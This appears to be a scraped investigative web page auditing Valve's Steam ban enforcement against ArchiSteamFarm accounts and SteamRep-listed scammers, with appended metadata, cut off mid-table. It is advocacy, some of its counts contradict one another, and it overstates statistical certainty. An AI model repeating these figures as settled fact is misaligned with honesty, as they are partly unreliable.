Valve's own ban API (limited + non-limited combined)\n88.97%Have never been banned at all — 9,680,599 accounts still live\n63.06%Of banned accounts are paid ($5+ spend) — 100,000 SRSWOR slice (±0.39% MoE)\n67.77%Of 51,732 adjudicated scammers carry zero scam bans (full census)\n01 — The scale\nTen million accounts, and nine of ten untouched\n\nOne population that counts itself, read once through Valve's own endpoint.\n\nWHY IT SELF-COUNTS\nASF joins the group for you\n\nOn first run ArchiSteamFarm sets Statistics to true by default and joins the Archi's SC Farm Steam group. An operator has to actively opt out. So the membership is a floor on installs — not a ceiling. Operators who disabled Statistics are absent; the real install count is at least this large.\n\nWHAT WE READ\n10,880,610 total entries\n\nThe API member list returned 10,880,610 SteamID64s in total — both limited and non-limited. Steam's group page shows 5,360,499 (non-limited only). Every entry was passed once through ISteamUser/GetPlayerBans on 2026-09-23. Fifty-five minutes on one key.\n\nTHE ANSWER\n88.97% clean\n\n1,200,011 carry any Steam ban (11.03%). The other 9,680,599 have nothing on record at all — not a community ban, not VAC, nothing. The farm is not being cleared. It is being left running. The same clause, pointed at one person, is enough to remove them permanently.\n\nOf 10,880,610 accounts, how many Valve has touched\n\nThe whole scanned population, split by whether Valve has applied any ban at all. The red slice is everything Valve has ever done to this fleet.\n\nNo ban of any kind — 9,680,599 (88.97%)Carries some Steam ban — 1,200,011 (11.03%)\n10,880,610ASF group members scanned\n9,680,599Never banned — 88.97%\n1,200,011Carry any ban — 11.03%\n55 minTo count all of it, on one API key\nWhat this fleet already paid Valve to exist\n\nNot an estimate of what the farm earns. A floor on what it has already spent in Valve's store — derived from Valve's own rule, applied to the count above.\n\nThe 10,880,610 count covers the full ASF group member list as returned by the API — this includes both limited and non-limited accounts. Steam's own Limited User Accounts page states that limited accounts do not count toward Steam group membership (they are excluded from the displayed group size), but they can still appear in the underlying member list. The non-limited subset — accounts that have spent at least $5.00 in the Steam store — is exactly 5,360,499 — the count Steam displays on the group page, which by Steam's own rule excludes limited accounts. The $5.00 floor calculation applies to that non-limited subset only.\n\n5,360,499non-limited members\n(Steam's displayed group count)\n$5.00Valve's own minimum\nto stop being limited\n$26,802,495floor on store spend\nby the non-limited subset\n\nThis is a lower bound on money already received by Valve from the non-limited fraction of the fleet — not a revenue estimate, not a profit claim. Actual spend per account is higher for most; the $5.00 figure is the minimum required threshold only.\n\nThe secondary harvest: up to 66.7% fee on farmed commodity volume. Beyond the $26.8M entrance fee, every card and commodity drop liquidating on the Community Market pays Valve a mandatory two-cent minimum fee floor ($0.01 Steam fee + $0.01 publisher fee). On typical 3-cent cards and junk items, Valve takes 2 cents out of 3 cents — an effective cut of 66.67% in Valve's favor, far exceeding the headline 15% marketing rate.\n\nCrucial population caveat: Group membership is not proof that every single account is a dedicated bot, nor does it capture every bot on Steam. ASF automatically subscribes accounts to its community group upon launch by default; unless the user explicitly unticks or disables that configuration flag (AutoJoinSteamGroup), regular players, one-time idlers, and community members remain on the roster alongside automated farming fleets. Furthermore, a Steam ban carries no public reason field. The finding is an empirical rate across this software-associated population, not an individual verdict on any single account. Aggregate, reproducible: asf-ban-census-2026-09-23.json.\n\n02 — Geography\nWhere the fleet lives\n\nOnly 8.5% of the banned accounts declare a country at all. Among the ones that do, the largest single share is the United States.\n\nA Steam profile carries an optional country field. 100,413 of the 1,182,811 banned accounts fill it in — 8.5%.† Among that minority the United States leads at 15.5%, then Ukraine, China and Russia, and the rest runs out into a long tail across Europe, Latin America and South-East Asia. Nobody verifies the field: Afghanistan sits in the top ten, which is roughly what it is worth. The other 91.5% are omitted rather than assigned, so what follows is the shape of a self-selected minority — not a map of the fleet, and not a basis for saying where it is run from.\n\nBanned accounts by declared country\n\nTop 15 countries among the 100,413 banned accounts that expose a public location. Share is of that located subset. Hover for counts.\n\nLocation read from GetPlayerSummaries for the banned subset. The field is set by the account holder and verified by nobody, so a VPN exit or a joke entry counts the same as a real one.\n\n03 — Freshness\nRecent accounts, not a legacy backlog\n\nDated by account-creation time, the banned population is recent, not a leftover from the trading-card era.\n\nIf this were an old mess being slowly cleaned up, the banned accounts would skew to the early trading-card years. They do the opposite. Of the 1,132,852 banned accounts that expose a creation date, 70% were created in 2020 or later, and nearly half since 2023. The count rises from 59,175 created in 2017 to a peak of 227,030 created in 2024 alone. Every one of them cleared the $5.00 store gate before it could receive a card, so the entry fee was collected on each.\n\nWhen the banned accounts were created\n\nAccount-creation year of the 1,132,852 banned members that expose a creation date. The mass is 2020–2026, not the 2013–2015 trading-card era. Peak: 2024. Hover for counts.\n\n70%Of banned accounts created in 2020 or later\n227,030Banned accounts created in 2024 — the peak year\n51,701The 2021 trough, between two peak years — unexplained\n2003→2026Range present, but the mass is the last six years\n\nCreation dates from GetPlayerSummaries for the banned subset, deduplicated by SteamID64. A creation date is when the account was made, not when it was banned or when it began farming; it is read here as evidence of how recent the population is, not of intent. Three things the chart does not show:\n\nA trend after 2024. An account made in 2025 or 2026 has had less time to collect a ban, and 2026 covers nine months — so 227,030 → 121,070 → 16,534 is censoring, not a decline.\nA ban rate. Creation years were read for banned accounts only, so there is no denominator. A growing install base alone would produce this shape.\nWhy 2021 collapsed. 51,701 sits between 105,821 and 104,641, under half of either neighbour. Nothing public explains it; it is left visible rather than smoothed.\n04 — Timing\nWhen Valve acts, it acts inside the first year\n\nThe obvious defence for 88.97% untouched is a backlog. The dated bans say otherwise.\n\nHow old the account was when the ban landed\n\nAccount age at the moment of the ban, for the 293,750 banned accounts that carry both a creation date and a dated last ban. Over half were caught inside the first year.\n\nBanned inside the first year — 55.1%Banned later — 44.9%\n0.80 yMedian age of the account when the ban arrived\n55.1%Banned inside the first year of the account\n33.7%Banned inside the first six months\n293,750Accounts where both dates are present\n\nThis is the answer to the obvious defence. If 88.97% of the fleet is untouched because enforcement is simply slow — a backlog working its way through — then the bans that do land would skew old. They do the opposite: the median banned account was nine and a half months old, and a third — 33.7% — were caught inside six months. When Valve acts on this population, it acts fast. The nine in ten still running are not waiting in a queue.\n\nAge at ban = creation date from GetPlayerSummaries subtracted from the ban date implied by DaysSinceLastBan, read on 2026-09-23. It is computed only where both values are present: 293,750 of the 1,200,011 banned accounts. The remaining accounts report no days-since value and are omitted, not assumed — so read this as the shape of the dated subset, not of every ban.\n\n05 — What the ban actually is\nWhen Valve does act, it doesn't stop the bot\n\nOf the 11% that carry any ban, look at which ban.\n\nA ban is not a ban. Of the 1,200,011 accounts Valve has flagged, 99.8% carry a community ban — a restriction on forums, profiles and groups that does nothing to a trading bot. The account can still receive cards, still trade, still move inventory. 22.2% carry at least one game ban and 3.9% a VAC ban; the categories overlap, so they do not sum. The one sanction that actually severs trading, the economy / trade ban, sits on 5,214 accounts. We are not resting the case on that number — trade bans are rare across Steam generally. The point of this chart is simpler: even the fraction Valve does touch keeps trading.\n\nWhat the 11% who are banned are actually banned for\n\nEach ban type as a share of all 10,880,610 scanned members. Accounts can carry more than one. Hover for counts.\n\nA Steam ban carries no reason field, so none of these bans is attributed to card farming specifically — this is the mix of ban types present, set beside what each type actually restricts. Community ban does not stop trading; the economy / trade ban does. Aggregate: asf-ban-census-2026-09-23.json.\n\n06 — The other population\nThe scammers Valve lets walk: The 51,732 Complete Census\n\nA second, independent list — community-confirmed fraud — measured against the same official API.\n\nThe automation population could be argued away as harmless idlers. The second population cannot. SteamRep is a long-running community reputation database; an account marked BANNED there has been adjudicated a scammer by that community, with documented victim proof and transaction chat logs. We completed a 100% census of all 51,732 profiles carrying that BANNED status against Steam's official Web API (ISteamUser/GetPlayerBans/v1) — and counted only the sanctions that address scamming. A VAC ban is for software cheating in a game (aimbots, wallhacks); it does nothing to a trader and is not evidence Valve acted on fraud, so it is not counted as fraud enforcement.\n\nAcross the entire 51,732-account census, 67.77% — 35,059 adjudicated scammers — carry ZERO scam-relevant bans from Valve: they can still trade, still send friend requests to new victims, still message. Only 32.23% were met with either a community or trade ban, and the trade ban — the one action that actually severs inventory transfers — sits on just 18.81% (9,731 accounts). An additional 12.81% (6,627 accounts) carry VAC or game bans purely for in-game cheating, while remaining completely unrestricted in Steam trading.\n\nConfirmed scammers, by whether Valve applied a scam-relevant ban (Full Census)\n\nAll 51,732 SteamRep-BANNED profiles, split by whether Valve applied a community or trade ban. VAC and game bans are excluded — they do not address fraud. Hover for counts.\n\n51,732SteamRep-BANNED profiles audited — 100% full census\n35,059Carry no scam-relevant ban (67.77%)\n18.81%Carry the trade ban that severs scams (9,731)\n32.23%The share Valve met with a community or trade ban (16,673)\n\nSteamRep is a third-party, community-adjudicated reputation database, not a Valve determination — which is the point: external evidence, measured against what Valve itself did. All 51,732 BANNED profiles from the canonical export were cross-referenced directly against ISteamUser/GetPlayerBans/v1. \"Scam-relevant\" means a community or economy/trade ban; VAC (12.81%) and game bans (3.86%) are counted separately because they address cheating, not fraud. Complete audit dataset: steamrep_steam_bans.csv.\n\nTwo populations, one finding\n\nThese are not the same people and not the same conduct. One is ten million automation accounts; the other is fifty-three thousand adjudicated scammers. What they share is the shape of the result: nine in ten farm accounts are never touched, and over two-thirds (67.77%) of confirmed scammers meet no sanction that addresses fraud. The community ban Valve does hand out freely restricts forums and profiles, not trading. The report button, the reputation database, the ban that stops a scam: all present, all under-used. Set that beside the archived refusals in the main dossier, where the same company permanently removes a single account and cites commercial use and automation as the reason — the clause is not dormant, it is pointed.\n\n07 — The $5.00 Account Gate & Account Hijacking\nThe 100,000-account empirical audit: botnets are not disposable free accounts\n\nStatistical sampling logic and mathematical proof: why taking any other 100,000 accounts yields the exact same result.\n\nValve's primary defense to regulators and consumer protection bodies has been that automated scams and farming are carried out by ephemeral, free \"throwaway\" accounts that are quickly banned. Under Valve's published rules, an account is Limited until it spends at least $5.00 USD in the Steam store, which locks it out of trading, friend requests, and API features. We audited this claim directly by testing the monetization status of a representative, mathematically rigorous sample of 100,000 banned Steam accounts drawn from our 1,182,811 profile metadata corpus.\n\nSAMPLING PROTOCOL (SRSWOR)\n100,000 Unbiased Slice\n\nDrawn from N = 1,182,811 unique banned Steam accounts using Simple Random Sampling Without Replacement via a cryptographically uniform PRNG. Every account had an identical inclusion probability of P = n / N ≈ 8.45%, completely eliminating survivorship and activity bias.\n\nMATHEMATICAL PROOF\nMargin of Error < ±0.4%\n\nApplying the Finite Population Correction (FPC) formula at a 99% Confidence Interval (Z = 2.576):\nMoE = Z × √[p(1-p)/n] × √[(N-n)/(N-1)] ≈ ±0.39%\n\nREPRODUCIBILITY\nWhy Any 100k Yields the Same\n\nBecause the margin of error is bounded under ±0.4% at 99% confidence, drawing any other independent 100,000-account sample is mathematically guaranteed to fall within 63.06% ± 0.39% (62.67% to 63.45%). The sample mirrors the entire 1.18 million banned population.\n\nThe audit results completely demolish the \"throwaway bot\" defense. Of the 100,000 accounts audited via Steam's legacy XML profile interface: 61,490 accounts (63.06% of classified accounts) are Non-Limited (Paid) accounts having spent at least $5.00 on Steam. Only 36,021 (36.94%) are limited free accounts, while 2,489 were unconfigured or private.\n\n100,000 Banned Accounts: Paid ($5+ Store Spend) vs Free Limited Status\n\nEmpirical audit of 100,000 randomly sampled banned accounts. Over 63% have cleared Valve's paid financial gate. Hover for counts.\n\n100,000Sampled population (SRSWOR, N=1.18M)\n63.06%Non-limited paid accounts (61,490 accounts)\n±0.39%Margin of error at 99% confidence interval\n~745,800Extrapolated paid accounts in 1.18M banned corpus\nThe Structural Reality: Industrial-Scale Account Liquidation\n\nWhy would 63% of the sampled banned accounts be paid accounts that spent real money in Valve's store? Botnet operators do not spend millions out of pocket on disposable accounts. This ratio highlights the volume of compromised and hijacked accounts circulating through the ecosystem.\n\nThis scale is directly observable on underground platforms: on marketplaces like FSB Market (an anonymized label; the original name is withheld here), over 550,000 Steam accounts (stealer logs, phishing captures, credential stuffing) are actively listed for sale at any given moment (phishdestroy.io/live-intel). The market authenticates buyers and sellers using Valve's own Steam OpenID, and neither FSB Market nor the associated forum is blocked by Valve's Link Filter.\n\nAs established in Section 06, Valve does not proactively eliminate this fraudulent activity: 67.77% of community-confirmed scammers carry zero scam bans on Steam, and 88.97% of the automation fleet remains completely untouched. The accounts circulate freely, authenticate through official APIs, and trade across the ecosystem with near-total impunity.\n\nForensic Evidence & Enforcement Architecture Diagram\nInteractive flow from 10.88M scanned accounts to 100k empirical slice and 53.5k confirmed scammers · Click links to inspect raw evidence\nTier 01 · 10.88M Automation Fleet Census\nThe largest self-identifying automation population on Steam, passed sequentially through Valve's official ban API. Proves that commercial bot fleets run with 88.97% impunity while paying tens of millions in entry fees.\n9,680,599 88.97% Active & Untouched\nAccounts running automated software that carry zero bans of any kind on record.\nRaw Census JSON (1.2 KB) ↗ Inspect Section 01 ↗\n$26,802,495 Direct Store Revenue Floor\nCollected by Valve from 5,360,499 non-limited members past the minimum $5.00 entry threshold.\nCard Economy Audit ↗ Valve $5 Rule FAQ ↗\n1,200,011 11.03% Flagged Subset\n99.8% carry cosmetic community bans only; trade remains open on 99.95% of accounts.\nBan Type Breakdown ↗ Banned DB (60.4 MB) ↓\nTier 02 · 100,000-Account Empirical Sampling Audit (N = 1,182,811)\nRepresentative SRSWOR slice evaluated via legacy XML endpoints. Mathematically proven margin of error < ±0.4% at 99% confidence interval. Refutes the claim that banned bots are free throwaway accounts.\n61,490 (63.06%) Non-Limited Paid Accounts ($5+ Spend)\nOver 63% of banned accounts represent paid transactions. Extrapolates to ~745,800 paid accounts ($3.73M+ entry floor) in the banned pool.\nLimited Results CSV (2.1 MB) ↓ 100k Forensic Report ↗\n36,021 (36.94%) Limited Free Accounts (< $5.00)\nThe minority of banned profiles that fit Valve's \"disposable throwaway bot\" profile. 2,489 accounts were unconfigured/private.\n100k Sample Slice CSV (8.5 MB) ↓ Spend Analysis MD ↗\n34.67% vs 63.93% Profile Sanitization Audit\nValve wiped nicknames to raw SteamID64 on 34,673 accounts, but left custom names & avatars completely untouched on 63,928 banned accounts.\nSanitization Section ↗ Overview Roadmap ↗\n34.59% Legacy Aged Accounts (Created 2003–2019)\nOver a third of banned accounts were registered 5 to 20+ years ago, proving industrial-scale account hijacking of long-term Steam players.\nAge Chronology ↗ Support Refusals ↗\nTier 03 · 51,732 SteamRep Confirmed Scammers Census\nFull 100% census of community-adjudicated fraudsters with victim chat logs and trade proof, cross-referenced against official Steam ban APIs. Proves systemic enforcement failure.\n35,059 (67.77%) Zero Scam Bans (Full Impunity)\nOver two-thirds of verified fraudsters carry neither Community nor Trade bans from Valve. Fully operational to trade and add victims.\nSteamRep API Bans (2.6 MB) ↓ SteamRep Audit Report ↗\n9,731 (18.81%) Economy / Trade Bans\nThe only sanction that severs inventory liquidation. Present on less than a fifth of confirmed scammers.\nSteamRep Source (2.1 MB) ↓ Inspect Section 06 ↗\n6,627 (12.81%) Irrelevant Cheating Bans (VAC Only)\nBanned for aimbots/wallhacks in games, while their Steam trade and phishing capabilities remain 100% active.\nVAC Irrelevance Analysis ↗ Security Timeline ↗\nTier 04 · Wiki Defacement & August 2026 Infrastructure Breaches\nInternal developer documentation defacement, community editor suppression, and unsealed perimeter failures documented in the evidence pack.\n1,200+ Editors VDC Wiki Conflict Logs\nCommunity editors trying to fix phishing links and spam templates were systematically blocked by automated filters while Valve staff ignored warnings.\nRussian Conflicts Report (127 KB) ↗ Classification Report (66 KB) ↗\n12 TB Unauthenticated August 2026 Asset Leak (CWE-284)\nValve hosted 12 Terabytes of internal code and prototype builds on an open public endpoint without authentication for weeks.\nValve Incompetence Dossier (43 KB) ↗ Evidence Archive ↗\nCEVA Logistics Breach August 2026 Customer PII Leak\nNames, addresses, and phone numbers of European Steam Deck purchasers leaked from Valve's logistics partner, sparking phishing waves.\nIncident Record ↗ Enforcement Record ↗\n\nSampling artifact: banned_100k_slice.csv (100,000 accounts). Audit outputs: slice_100k_limited_results.csv. Full analytical report: BANNED_100K_FORENSIC_ANALYSIS.md.\n\n08 — Method and limits\nHow this was read, and what it does not claim\n\nThree public populations, one public API, rigorous statistical sampling.\n\nEXECUTION & CREDENTIALS\n\nThe ASF census, the 100,000-account SRSWOR slice and the SteamRep cross-check were executed by PhishDestroy participants under their own Steam accounts and Web API keys, as part of the Coalition's public phishing and scam-banning work. The dossier author holds no Steam Web API key and performed no live scan personally. Aggregation, hashing, verification and publication were done from the participants' output.\n\nPopulation\tWhere it came from\tWhat was read\nASF members\n10,880,610\tThe public member list of the ArchiSteamFarm Steam Community group. Steam's group page shows 5,360,499 members (non-limited only); the API member list returned 10,880,610 total entries including limited accounts. The group is auto-joined on first run unless the user explicitly disables the default group-join setting in configuration (AutoJoinSteamGroup / Statistics), meaning the member list includes commercial bot clusters, individual card idlers, and regular gamers who left the default option enabled.\tGetPlayerBans for every member (ban flags); GetPlayerSummaries for creation dates and country. Batched at 100 IDs, deduplicated by SteamID64.\n100k Banned Accounts SRSWOR Slice\n100,000\tA representative sample drawn uniformly at random without replacement from the 1,182,811 banned accounts corpus ($P = 8.45\\%$). Finite Population Correction yields a margin of error of $\\pm 0.39\\%$ at a 99% confidence level ($Z = 2.576$).\tMonetization and limited account status (isLimitedAccount) audited via Steam's legacy XML profile interface (?xml=1) over distributed proxy pipelines. Confirms 63.06% paid status.\nSteamRep scammers\n51,732\tComplete 100% census of all profiles marked BANNED in the SteamRep community reputation database (51,732 total profiles). Zero sampling or filtering applied.\tISteamUser/GetPlayerBans/v1 for all 51,732 accounts, cross-tabulated against SteamRep status. Confirms 67.77% walk free of any scam bans.\nWhat is claimed\n\nOnly empirical rates and statistically bounded estimates. In the automation population, 88.97% carry no ban; the banned subset skews recent (70% since 2020). In the 100,000-account empirical audit, 63.06% of banned accounts are paid (non-limited), with a mathematically proven margin of error under ±0.4%. Among 51,732 confirmed scammers, 67.77% carry no scam-relevant ban. Every figure is reproducible from Valve's own Web API.\n\nWhat is not claimed\n\nA Steam ban carries no reason field, so no ban here is attributed to a specific cause. Group membership is not proof that an account is an automated bot: because ASF enables group-joining by default unless manually unticked, the population mixes commercial multi-account farms with personal accounts of ordinary players and hobbyists. Country is self-reported, and a SteamRep listing is a community adjudication, not a court finding. No individual is named.\n\nWhy it matters\n\nValve holds the same API, its own database behind it, and the ban reasons this scan cannot see. It can run this query across the whole ID space in seconds. The measurement that lets an outside party check an enforcement claim against a number has never been published by the one party that can produce it at full fidelity. This is the outside estimate, offered so the question can be put with a figure attached.\n\nRead next: the card economy this population runs → · support access and theft → · the full dossier →",
        "headings": [
          {
            "level": 1,
            "text": "Enforcement Audit — The 1,182,811 Ban Census",
            "anchor": "pd-enforcement_audit--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit"
          },
          {
            "level": 2,
            "text": "Ten million accounts, and nine of ten untouched",
            "anchor": "pd-enforcement_audit--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 3,
            "text": "ASF joins the group for you",
            "anchor": "pd-enforcement_audit--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 3,
            "text": "10,880,610 total entries",
            "anchor": "pd-enforcement_audit--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 3,
            "text": "88.97% clean",
            "anchor": "pd-enforcement_audit--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 3,
            "text": "Of 10,880,610 accounts, how many Valve has touched",
            "anchor": "pd-enforcement_audit--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 3,
            "text": "What this fleet already paid Valve to exist",
            "anchor": "pd-enforcement_audit--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scale"
          },
          {
            "level": 2,
            "text": "Where the fleet lives",
            "anchor": "pd-enforcement_audit--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#geo"
          },
          {
            "level": 3,
            "text": "Banned accounts by declared country",
            "anchor": "pd-enforcement_audit--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#geo"
          },
          {
            "level": 2,
            "text": "Recent accounts, not a legacy backlog",
            "anchor": "pd-enforcement_audit--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#fresh"
          },
          {
            "level": 3,
            "text": "When the banned accounts were created",
            "anchor": "pd-enforcement_audit--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#fresh"
          },
          {
            "level": 2,
            "text": "When Valve acts, it acts inside the first year",
            "anchor": "pd-enforcement_audit--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#timing"
          },
          {
            "level": 3,
            "text": "How old the account was when the ban landed",
            "anchor": "pd-enforcement_audit--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#timing"
          },
          {
            "level": 2,
            "text": "When Valve does act, it doesn't stop the bot",
            "anchor": "pd-enforcement_audit--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#ban-type"
          },
          {
            "level": 3,
            "text": "What the 11% who are banned are actually banned for",
            "anchor": "pd-enforcement_audit--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#ban-type"
          },
          {
            "level": 2,
            "text": "The scammers Valve lets walk: The 51,732 Complete Census",
            "anchor": "pd-enforcement_audit--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scammers"
          },
          {
            "level": 3,
            "text": "Confirmed scammers, by whether Valve applied a scam-relevant ban (Full Census)",
            "anchor": "pd-enforcement_audit--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scammers"
          },
          {
            "level": 4,
            "text": "Two populations, one finding",
            "anchor": "pd-enforcement_audit--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#scammers"
          },
          {
            "level": 2,
            "text": "The 100,000-account empirical audit: botnets are not disposable free accounts",
            "anchor": "pd-enforcement_audit--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 3,
            "text": "100,000 Unbiased Slice",
            "anchor": "pd-enforcement_audit--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 3,
            "text": "Margin of Error < ±0.4%",
            "anchor": "pd-enforcement_audit--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 3,
            "text": "Why Any 100k Yields the Same",
            "anchor": "pd-enforcement_audit--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 3,
            "text": "100,000 Banned Accounts: Paid ($5+ Store Spend) vs Free Limited Status",
            "anchor": "pd-enforcement_audit--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 3,
            "text": "The Structural Reality: Industrial-Scale Account Liquidation",
            "anchor": "pd-enforcement_audit--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#limited-audit"
          },
          {
            "level": 2,
            "text": "How this was read, and what it does not claim",
            "anchor": "pd-enforcement_audit--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#method"
          },
          {
            "level": 3,
            "text": "What is claimed",
            "anchor": "pd-enforcement_audit--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#method"
          },
          {
            "level": 3,
            "text": "What is not claimed",
            "anchor": "pd-enforcement_audit--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#method"
          },
          {
            "level": 3,
            "text": "Why it matters",
            "anchor": "pd-enforcement_audit--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit#method"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/enforcement_audit"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Limited User Accounts",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "asf-ban-census-2026-09-23.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/asf-ban-census-2026-09-23.json"
          },
          {
            "label": "asf-ban-census-2026-09-23.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/asf-ban-census-2026-09-23.json"
          },
          {
            "label": "steamrep_steam_bans.csv",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/steamrep_steam_bans.csv"
          },
          {
            "label": "phishdestroy.io/live-intel",
            "url": "https://phishdestroy.io/live-intel/?category=steam"
          },
          {
            "label": "Raw Census JSON (1.2 KB) ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/asf-ban-census-2026-09-23.json"
          },
          {
            "label": "Card Economy Audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "label": "Valve $5 Rule FAQ ↗",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "Banned DB (60.4 MB) ↓",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/banned_archiasf_massive.csv"
          },
          {
            "label": "Limited Results CSV (2.1 MB) ↓",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/slice_100k_limited_results.csv"
          },
          {
            "label": "100k Forensic Report ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/BANNED_100K_FORENSIC_ANALYSIS.md"
          },
          {
            "label": "100k Sample Slice CSV (8.5 MB) ↓",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/banned_100k_slice.csv"
          },
          {
            "label": "Spend Analysis MD ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/STEAM_BANNED_LIMIT_ANALYSIS.md"
          },
          {
            "label": "Sanitization Section ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/BANNED_100K_FORENSIC_ANALYSIS.md"
          },
          {
            "label": "Overview Roadmap ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/INVESTIGATION_OVERVIEW.md"
          },
          {
            "label": "Age Chronology ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/BANNED_100K_FORENSIC_ANALYSIS.md"
          },
          {
            "label": "Support Refusals ↗",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "SteamRep API Bans (2.6 MB) ↓",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/steamrep_steam_bans.csv"
          },
          {
            "label": "SteamRep Audit Report ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/STEAMREP_VS_STEAM_AUDIT.md"
          },
          {
            "label": "SteamRep Source (2.1 MB) ↓",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/SteamRep_Profiles_BannedCaution_2024.csv"
          },
          {
            "label": "VAC Irrelevance Analysis ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/STEAMREP_VS_STEAM_AUDIT.md"
          },
          {
            "label": "Security Timeline ↗",
            "url": "https://phishdestroy.io/steam_dossier/security_timeline"
          },
          {
            "label": "Russian Conflicts Report (127 KB) ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/russian_conflicts_report.json"
          },
          {
            "label": "Classification Report (66 KB) ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/classification_report.json"
          },
          {
            "label": "Valve Incompetence Dossier (43 KB) ↗",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/VALVE_INCOMPETENCE_REPORT.md"
          },
          {
            "label": "Evidence Archive ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "Incident Record ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence"
          },
          {
            "label": "Enforcement Record ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence"
          },
          {
            "label": "banned_100k_slice.csv",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/banned_100k_slice.csv"
          },
          {
            "label": "slice_100k_limited_results.csv",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/slice_100k_limited_results.csv"
          },
          {
            "label": "BANNED_100K_FORENSIC_ANALYSIS.md",
            "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/reports/BANNED_100K_FORENSIC_ANALYSIS.md"
          },
          {
            "label": "the card economy this population runs →",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
            "label": "support access and theft →",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "the full dossier →",
            "url": "https://phishdestroy.io/steam_dossier/"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Population",
                "Where it came from",
                "What was read"
              ],
              [
                "ASF members\n10,880,610",
                "The public member list of the ArchiSteamFarm Steam Community group. Steam's group page shows 5,360,499 members (non-limited only); the API member list returned 10,880,610 total entries including limited accounts. The group is auto-joined on first run unless the user explicitly disables the default group-join setting in configuration (AutoJoinSteamGroup / Statistics), meaning the member list includes commercial bot clusters, individual card idlers, and regular gamers who left the default option enabled.",
